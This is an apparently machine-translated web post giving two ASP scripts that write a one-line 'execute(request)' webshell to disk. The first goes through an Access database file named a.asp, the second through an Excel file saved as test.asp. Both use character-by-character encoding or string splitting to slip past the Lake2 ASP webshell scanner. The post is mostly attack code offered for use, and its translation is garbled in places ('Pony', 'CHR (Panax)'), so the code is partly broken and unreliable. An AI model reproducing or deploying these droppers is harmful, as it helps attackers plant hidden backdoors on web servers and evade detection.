Hanxiaolian
To avoid lake2 ASP Webmaster Admin Assistant and write.
A. Bypassing the Lake2 ASP Trojan scan Pony
Copy Code code as follows:
<%
Set C = CreateObject ("ADOX.") Catalog ")
C.create ("Provider=Microsoft.Jet.OLEDB.4.0;Data source=" &server.mappath ("a.asp"))
Set c = Nothing
C&server.mappath ("a.asp")
Set Conn=server.createobject ("Adodb.connection")
Conn.Open ConnStr
Conn.execute ("CREATE Table Nomm (Nomuma oleobject)")
Set Rs=server.createobject ("Adodb.recordset")
Sql= "SELECT * from Nomm"
Rs.Open sql,conn,1,3
Rs.addnew
RS ("Nomuma"). AppendChunk (ChrB (ASC ("<") &CHRB (ASC ("%")) &CHRB (ASC ("E")) &CHRB
(ASC ("X")) &CHRB (ASC ("E")) &CHRB (ASC ("C")) &CHRB (ASC ("U")) &CHRB (ASC ("T")) &CHRB (ASC
("E")) &CHRB (ASC ("+")) &CHRB (ASC ("R")) &CHRB (ASC ("E")) &CHRB (ASC ("Q")) &CHRB (ASC
("U")) &CHRB (ASC ("E")) &CHRB (ASC ("S")) &CHRB (ASC ("T")) &CHRB (ASC ("(")) &CHRB (34)
&CHRB (ASC ("Q")) &chrb (() &CHRB (ASC (")")) &CHRB (ASC ("%")) & ChrB (ASC (">"))
Rs.update
Rs.close
Set rs=nothing
Conn.close
Set conn=nothing
%>
Two. xls Edition ASP Webshell
Copy Code code as follows:
<%
Set XlA = Server.CreateObject ("Excel.Application")
Xla.visible = False
XlA.Workbooks.Add
Set xlworksheet = xla.worksheets (1)
Xlworksheet.cells (1,1). Value = "<%ex" & "EC" & "Ute (Request (" "Q" ")" +CHR (Panax) + ">"
' strfile = ' d:/test.asp '
strfile = Server.MapPath ("test.asp")
Xlworksheet.saveas strfile
Xla.quit
Set xlworksheet = Nothing
Set XlA = Nothing
%>